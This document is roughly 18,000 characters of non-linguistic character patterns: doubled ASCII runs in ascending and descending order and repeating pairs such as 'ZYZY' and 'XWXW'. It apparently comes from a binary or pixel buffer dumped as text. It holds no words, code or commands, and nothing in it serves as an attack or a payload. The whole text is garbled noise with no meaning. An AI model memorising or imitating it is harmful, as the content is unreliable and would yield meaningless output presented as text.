<<;;::99llkkjjii}}~~``aabbccmmnnooppBBCCDDEEOONNMMLL~~}}||::;;<<==%%&&''(((())**++))**++,,88776655hhggffeeddeeffggqqrrssttFFGGHHIIKKJJIIHH{{zzyyxx>>??@@AA))**++,,,,--..//--..//0044332211ddccbbaammnnooppuuvvwwxxJJKKLLMMGGFFEEDDwwvvuuttBBCCDDEE--..//00001122331122334400//..--``__^^]]qqrrssttyyzz{{||NNOOPPQQ !!CCBBAA@@ssrrqqppFFGGHHII1122334499::;;<<55667788,,++**))\\[[ZZYYuuvvwwxx}}~~RRSSTTUU""##$$%% ??>>==<>??@@99::;;<< - - ((''&&%%XXWWVVUUyyzz{{||VVWWXXYY&&''(()) - - ;;::9988kkjjiihhNNOOPPQQ99::;;<>??@@ $$##""!!TTSSRRQQ}}~~ZZ[[\\]]**++,,--77665544ggffeeddRRSSTTUU==>>??@@EEFFGGHHAABBCCDD PPOONNMM~~}}^^__``aa..//001133221100ccbbaa``VVWWXXYYAABBCCDDIIJJKKLLEEFFGGHHLLKKJJII||{{zzyybbccddee22334455//..--,,__^^]]\\ZZ[[\\]]EEFFGGHHMMSSTTUUIIJJKKLLHHGGFFEExxwwvvuuffgghhii66778899 ++**))(([[ZZYYXX^^__``aaIIJJKKLLVVWWXXYYMMNNOOPP DDCCBBAAttssrrqqjjkkllmm::;;<<== - - ''&&%%$$WWVVUUTTbbccddeeMMNNOOPPZZ[[\\]]QQRRSSTT!!""##$$ @@??>>==ppoonnmmnnooppqq>>??@@AA##""!! SSRRQQPPffgghhiiQQRRSSTT^^__``aaUUVVWWXX%%&&''(( - - <<;;::99llkkjjiirrssttuuBBCCDDEEOONNMMLLjjkkllmmUUVVWWXXbbccddeeYYZZ[[\\))**++,,88776655hhggffeevvwwxxyyFFGGHHIIKKJJIIHHnnooppqqYYZZ[[\\ffggmmnn]]^^__``--..//0044332211ddccbbaazz{{||}}JJKKLLMMGGFFEEDDrrssttuu]]^^__``ooppqqrraabbccdd1122334400//..--``__^^]]~~NNOOPPQQ !!CCBBAA@@vvwwxxyyaabbccddssttuuvveeffgghh55667788,,++**))\\[[ZZYYRRSSTTUU""##$$%% ??>>==<>??@@ $$##""!!TTSSRRQQZZ[[\\]]**++,,--77665544mmnnooppqqrrssttAABBCCDD PPOONNMM~~}}^^__``aa..//001133221100qqrrssttuuvvwwxxEEFFGGHHLLKKJJII||{{zzyy~~}}bbccddee22334455//..--,,uuvvwwxxyyzz{{||IIJJKKLLHHGGFFEExxwwvvuu||{{zzyyffgghhii66778899 ++**))((yyzz{{||}}~~MMNNOOPP DDCCBBAAttssrrqqxxwwvvuu~~}}||jjkkllmm::;;<<== - - ''&&%%$$}}~~QQRRSSTT!!""##$$ @@??>>==ppoonnmmttssrrqq{{zzyyxxnnooppqq>>??@@AA##""!! UUVVWWXX%%&&''(( - - <<;;::99llkkjjiippoonnmmwwvvuuttrrssttuuBBCCDDEEccddeeff33445566..--,,++^^]]\\[[]]\\[[ZZiihhggffPPQQRRSS !!""##((''&&%%! LLKKJJII||{{zzyymmnnoopp==>>??@@%&&''(()//..--,,__^^]]\\gghhiijj778899:: - -**))((''ZZYYXXWWYYXXWWVVeeddccbbTTUUVVWW$$%%&&'' - -$$##""!!HHGGFFEExxwwvvuuqqrrssttAABBCCDD)**++,,- ++**))(([[ZZYYXXkkllmmnn;;<<==>> &&%%$$##VVUUTTSSUUTTSSMMaa``__^^XXYYZZ[[(())**++  DDCCBBAAttssrrqquuvvwwxxEEFFGGHH !!-..//001 - - ''&&%%$$WWVVUUTTooppqqrr??@@AABB""!! RRQQPPOOLLKKJJII]]\\[[ZZ\\]]^^__,,--..//@@??>>==ppoonnmmyyzz{{||IIJJKKLL""##$$%%12233456##""!! SSRRQQPPssttuuvvCCDDEEFFNNMMLLKKHHGGFFEEYYXXWWVV``aabbcc00112233 <<;;::99llkkjjii}}~~MMNNOOPP&&''(())7899::;;OONNMMLL~~}}||~~}}||~~}}||{{wwxxyyzzGGHHIIJJJJIIHHGGDDCCBBAAUUTTSSRRddeeffgg44556677 - - 88776655hhggffeeQQRRSSTT**++,,--<<==>>??KKJJIIHH{{zzyyxx{{zzyyxxzzyyxxww{{||}}~~KKLLMMNNFFEEDDCC@@??>>==QQPPOONN~~hhiijjkk8899::;; - - - - 44332211ddccbbaaUUVVWWXX..//0011@@AABBCCGGFFEEDDwwvvuuttwwvvuuttvvuuttssOOPPQQRR !!""BBAA@@??<<;;::99MMLLKKJJ}}||{{zzllmmnnoo<<==>>?? 00//..--``__^^]]YYZZ[[\\223399::DDEEFFGG !!CCBBAA@@ssrrqqppssrrqqpp~~rrqqppooSSTTUUVV##$$%%&& >>==<<;;33221100IIHHGGFFyyxxwwvvppqqrrss@@AABBCC ,,++**))\\[[ZZYY]]^^__``;;<<==>>HHIIJJKK""##$$%% ??>>==<>qqppoonnxxyyzz{{HHIIJJKK $$##""!!TTSSRRQQeeffgghhCCDDEEFFRSSTTUUV**++,,--77665544ggffeeddggffeedduuttssrrdccbbaa`__``aabb//001122221100//''&&%%$$==<<;;::mmllkkjj||}}~~LLMMNNOO PPOONNMM~~}}iijjkkllGGHHIIJJVWWXXYYZ..//001133221100ccbbaa``ccbbaa``qqppoonn`__^^]]\ccddeeff33445566..--,,++##""!! 99887766iihhggffPPQQRRSS !!""##LLKKJJII||{{zzyymmnnooppKKLLMMSSZ[[\\]]^22334455//..--,,__^^]]\\__^^]]\\mmggffee\[[ZZYYXgghhiijj778899:: - -**))((''55443322eeddccbbTTUUVVWW$$%%&&'' !!""HHGGFFEExxwwvvuuqqrrssttTTUUVVWW^__``aab66778899 ++**))(([[ZZYYXX~~}}||{{[[ZZYYXXddccbbaaXWWVVUUT~~}}||{{kkllmmnn;;<<==>> &&%%$$##1100//..aa``__^^XXYYZZ[[(())**++##$$%%&& DDCCBBAAttssrrqquuvvwwxxXXYYZZ[[bccddeef::;;<<== - - ''&&%%$$WWVVUUTTzzyyxxwwWWVVUUTT``__^^]]TSSRQPONzzyyxxwwooppqqrr??@@AABB""!! --,,++**]]\\[[ZZ\\]]^^__,,--..//''(())**!!""##$$ @@??>>==ppoonnmmyyzz{{||\\]]^^__fgghijkl>>??@@AA##""!! SSRRQQPPvvuuttssSSRRQQPP\\[[ZZYYMMLLKKJJvvuuttssssttuuvvCCDDEEFF ))((''&&YYXXWWVV``aabbcc00112233++,,--..%%&&''(( - - <<;;::99llkkjjii}}~~``aabbccmmnnooppBBCCDDEEOONNMMLLrrqqppooOONNMMLLXXWWVVUUIIHHGGFFrrqqppoowwxxyyzzGGHHIIJJ - - %%$$##""UUTTSSRRddeeffgg44556677//001122))**++,,88776655hhggffeeddeeffggqqrrssttFFGGHHIIKKJJIIHHnnmmggffKKJJIIHHTTSSMMLLEEDDCCBBnnmmllkk{{||}}~~KKLLMMNN!! QQPPOONN~~hhiijjkk8899::;;3399::;;--..//0044332211ddccbbaammnnooppuuvvwwxxJJKKLLMMGGFFEEDDeeddccbbGGFFEEDDKKJJIIHHAA@@??>>jjiihhggOOPPQQRR !!""MMLLKKJJ}}||{{zzllmmnnoo<<==>>??<<==>>??1122334400//..--``__^^]]qqrrssttyyzz{{||NNOOPPQQ !!CCBBAA@@aa``__^^CCBBAA@@GGFFEEDD==<<;;::ffeeddccSSTTUUVV##$$%%&& - - IIHHGGFFyyxxwwvvppqqrrss@@AABBCC@@AABBCC55667788,,++**))\\[[ZZYYuuvvwwxx}}~~RRSSTTUU""##$$%% ??>>==<<]]\\[[ZZ??>>==<>==<<3221100/^^]]\\[[[[\\]]^^++,,--..AA@@??>>qqppoonnxxyyzz{{HHIIJJKKHHIIJJKK==>>??@@ $$##""!!TTSSRRQQ}}~~ZZ[[\\]]**++,,--77665544UUTTSSMM77665544;;::9933/..--,,+ZZYYXXWW__``aabb//001122 - -==<<;;::mmllkkjj||}}~~LLMMNNOOLLMMSSTTAABBCCDD PPOONNMM~~}}^^__``aa..//001133221100LLKKJJII33221100221100//+**))(('VVUUTTSSccddeeff33445566 - - 99887766iihhggffPPQQRRSSUUVVWWXXEEFFGGHHLLKKJJII||{{zzyybbccddee22334455//..--,,HHGGFFEE//..--,,..--,,++'&&%%$$#RRQQPPOOgghhiijj778899::  !!""#55443322eeddccbbTTUUVVWWYYZZ[[\\IIJJKKLLHHGGFFEExxwwvvuuffgghhii66778899 ++**))((DDCCBBAA++**))((**))((''#""!! NNMMLLKK~~}}||{{kkllmmnn;;<<==>>#$$%%&&'1100//..aa``__^^XXYYZZ[[]]^^__``MMNNOOPP DDCCBBAAttssrrqqjjkkllmm::;;<<== - - ''&&%%$$@@??>>==''&&%%$$&&%%$$##JJIIHHGGzzyyxxwwooppqqrr??@@AABB'(())**+--,,++**]]\\[[ZZ\\]]^^__aabbccddQQRRSSTT!!""##$$ @@??>>==ppoonnmmnnooppqq>>??@@AA##""!! <<;;::99##""!! ""!! FFEEDDCCvvuuttssssttuuvvCCDDEEFF+,,--../ - - ))((''&&YYXXWWVV``aabbcceeffggmmUUVVWWXX%%&&''(( - - <<;;::99llkkjjiirrssttuuBBCCDDEE33221100BBAA@@??rrqqppoowwxxyyzzGGHHIIJJ !!""##/0011223 %%$$##""UUTTSSRRddeeffggnnooppqqYYZZ[[\\))**++,,88776655hhggffeevvwwxxyyFFGGHHII//..--,, >>==<<;;nnmmllkk{{||}}~~KKLLMMNN$$%%&&''34567899!! QQPPOONN~~hhiijjkkrrssttuu]]^^__``--..//0044332211ddccbbaazz{{||}}JJKKLLMM++**))(( - - ::998877jjiihhggOOPPQQRR(())**++::;;<<==MMLLKKJJ}}||{{zzllmmnnoovvwwxxyyaabbccdd1122334400//..--``__^^]]~~NNOOPPQQ !!''&&%%$$ - -66554433ffeeddccSSTTUUVV,,--..//>>??@@AAIIHHGGFFyyxxwwvvppqqrrsszz{{||}}eeffgghh55667788,,++**))\\[[ZZYYRRSSTTUU""##$$%% ##""!!  221100//bbaa``__WWXXYYZZ00112233BBCCDDEEEEDDCCBBuuttssrrttuuvvww~~iijjkkll99::;;<< - - ((''&&%%XXWWVVUUVVWWXXYY&&''(()) - -  - - ..--,,++^^]]\\[[[[\\]]^^99::;;<>qqppoonnxxyyzz{{mmnnoopp==>>??@@ $$##""!!TTSSRRQQZZ[[\\]]**++,,-- - -  - -  - -**))((''ZZYYXXWW__``aabb==>>??@@JJKKLLMM$$%%&&'' - -==<<;;::mmllkkjj||}}~~qqrrssttAABBCCDD PPOONNMM~~}}^^__``aa..//0011  &&%%$$##VVUUTTSSccddeeffAABBCCDDNOPQRSST(())**++ 99887766iihhggffuuvvwwxxEEFFGGHHLLKKJJII||{{zzyy~~}}bbccddee22334455 ""!! RRQQPPOOgghhiijjEEFFGGHHTUUVVWWX,,--..//55443322eeddccbbyyzz{{||IIJJKKLLHHGGFFEExxwwvvuu||{{zzyyffgghhii66778899 - - - -NNMMLLKK~~}}||{{kkllmmnnIIJJKKLLXYYZZ[[\001122331100//..aa``__^^}}~~MMNNOOPP DDCCBBAAttssrrqqxxwwvvuu~~}}||jjkkllmm::;;<<== - -  JJIIHHGGzzyyxxwwooppqqrrMMSSTTUU\]]^^__`44556677--,,++**]]\\[[ZZQQRRSSTT!!""##$$ @@??>>==ppoonnmmttssrrqq{{zzyyxxnnooppqq>>??@@AA !!!!""##$$FFEEDDCCvvuuttssssttuuvvVVWWXXYY`aabbccd8899::;; - - ))((''&&YYXXWWVVUUVVWWXX%%&&''(( - - <<;;::99llkkjjiippoonnmmwwvvuuttrrssttuuBBCCDDEE""##$$%%%%&&''(( !!""BBAA@@??rrqqppoowwxxyyzzZZ[[\\]]deeffggh<<==>>?? %%$$##""UUTTSSRRYYZZ[[\\))**++,,88776655hhggffeeggffeeddssrrqqppvvwwxxyyFFGGHHII&&''(())))**++,,##$$%%&& >>==<<;;nnmmllkk{{||}}~~^^__``aaijklmmnn@@AABBCC!! QQPPOONN~~]]^^__``--..//0044332211ddccbbaaccbbaa``oonnmmllzz{{||}}JJKKLLMM !!""##**++,,----..//00''(())** - - ::998877jjiihhggbbccddeeooppqqrrDDEEFFGGMMLLKKJJ}}||{{zzaabbccdd1122334400//..--``__^^]]__^^]]\\kkjjiihh~~NNOOPPQQ !!$$%%&&''..//001111223399++,,--..66554433ffeeddccffggmmnnssttuuvvHHIIJJKKIIHHGGFFyyxxwwvveeffgghh55667788,,++**))\\[[ZZYY[[ZZYYXXggffeeddRRSSTTUU""##$$%%(())**++22334455::;;<<==//001122221100//bbaa``__ooppqqrrwwxxyyzzLLMMNNOOEEDDCCBBuuttssrriijjkkll99::;;<< - - ((''&&%%XXWWVVUUWWVVUUTTccbbaa``VVWWXXYY&&''(()),,--..//66778899>>??@@AA33445566..--,,++^^]]\\[[ssttuuvv{{||}}~~PPQQRRSS !!""##AA@@??>>qqppoonnmmnnoopp==>>??@@ $$##""!!TTSSRRQQSSMMLLKK__^^]]\\ZZ[[\\]]**++,,--00112233::;;<<==BBCCDDEE778899:: - -**))((''ZZYYXXWWwwxxyyzzTTUUVVWW$$%%&&'' - -==<<;;::mmllkkjjqqrrssttAABBCCDD PPOONNMMJJIIHHGG[[ZZYYXX^^__``aa..//001199::;;<<>>??@@AAFFGGHHII;;<<==>> &&%%$$##VVUUTTSS{{||}}~~XXYYZZ[[(())**++ 99887766iihhggff~~}}uuvvwwxxEEFFGGHHLLKKJJIIFFEEDDCCWWVVUUTTbbccddee22334455==>>??@@BBCCDDEEJJKKLLMM??@@AABB""!! RRQQPPOO\\]]^^__,,--..//55443322eeddccbb||{{zzyyyyzz{{||IIJJKKLLHHGGFFEEBBAA@@??SSRRQQPPffgghhii66778899AABBCCDDFFGGHHIISSTTUUVVCCDDEEFFNNMMLLKK~~}}||{{``aabbcc001122331100//..aa``__^^xxwwvvuu}}~~MMNNOOPP DDCCBBAA>>==<<;;OONNMMLL~~}}||jjkkllmm::;;<<==EEFFGGHHJJKKLLMMWWXXYYZZGGHHIIJJJJIIHHGGzzyyxxwwddeeffgg44556677--,,++**]]\\[[ZZttssrrqqQQRRSSTT!!""##$$ @@??>>==::993322KKJJIIHH{{zzyyxxnnooppqq>>??@@AAIIJJKKLLNNOOPPQQ[[\\]]^^KKLLMMNNFFEEDDCCvvuuttsshhiijjkk8899::;; - - ))((''&&YYXXWWVV~~}}||ppoonnmmUUVVWWXX%%&&''(( - - <<;;::991100//..GGFFEEDDwwvvuuttrrssttuuBBCCDDEEMMSSTTUURRSSTTUU__``aabbOOPPQQRR !!""BBAA@@??rrqqppoollmmnnoo<<==>>?? %%$$##""UUTTSSRR{{zzyyxxlkjihggfYYZZ[[\\))**++,,88776655--,,++**CCBBAA@@ssrrqqppvvwwxxyyFFGGHHIIVVWWXXYYVVWWXXYYccddeeffSSTTUUVV##$$%%&& >>==<<;;nnmmllkkppqqrrss@@AABBCC!! QQPPOONNwwvvuuttfeeddccb]]^^__``--..//0044332211))((''&&??>>==<>bbaa``__VUUTTSSR||{{zzyymmnnoopp==>>??@@ $$##""!!//..--,,__^^]]\\ZZ[[\\]]ooppqqrrjjkkllmm||}}~~gghhiijj778899:: - -**))((''ZZYYXXWWTTUUVVWW$$%%&&'' - -==<<;;::^^]]\\[[QPONMMLLxxwwvvuuqqrrssttAABBCCDD  ++**))(([[ZZYYXX^^__``aassttuuvvnnooppqqkkllmmnn;;<<==>> &&%%$$##VVUUTTSSXXYYZZ[[(())**++ 99887766ZZYYXXWWKKJJIIHHttssrrqquuvvwwxxEEFFGGHH - - ''&&%%$$WWVVUUTTbbccddeewwxxyyzzrrssttuuooppqqrr??@@AABB""!! RRQQPPOO\\]]^^__,,--..//55443322VVUUTTSSGGFFEEDDppoonnmmyyzz{{||IIJJKKLL##""!! SSRRQQPPffgghhii{{||}}~~vvwwxxyyssttuuvvCCDDEEFFNNMMLLKK~~}}||{{``aabbcc001122331100//..MMLLKKJJCCBBAA@@llkkjjii}}~~MMNNOOPP OONNMMLL~~}}||jjkkllmmzz{{||}}wwxxyyzzGGHHIIJJJJIIHHGGzzyyxxww~~}}||{{ddeeffgg44556677--,,++**IIHHGGFF??>>==<>?? %%$$##""AA@@??>>65433221``__^^]]YYZZ[[\\))**++,,CCBBAA@@ssrrqqppvvwwxxyySSTTUUVV##$$%%&& >>==<<;;nnmmllkkrrqqppooyyxxwwvvppqqrrss@@AABBCC!! ==<<;;::100//..-\\[[ZZYY]]^^__``--..//00 ??>>==<=>=>=>=<;<;<;<;878787873333334321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        \[\[\[\[ZYZYXWXWVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        \[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - \[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - \[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVUTSTSRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873333343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873434343321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPONMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787333343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMMMMMLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:987878787434343330/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMMMMMMNLKLKLKLKHGHGHGHGFEFEFEFEDCBABABA@?@?@?@?>=>=>=>=:9:9:9:987878787333434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - \[\[ZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:987878765343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:965656565343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - - ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:965656565343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - - ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:965656565343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - - ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=<;<;<;:9:9:9:965656565343433330/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - - ZYZYZYZYXWXWXWXWVUVUTSTSRQRQRQRQMMMMMMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565334343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434333330/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMMMMMNMNLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNLKJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMMMMNMNMJIJIJIJIHGHGHGHGFEDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMMMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - ZYZYZYZYXWXWVUVUTSTSTSTSPOPOPOPOMMMNMNMNJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        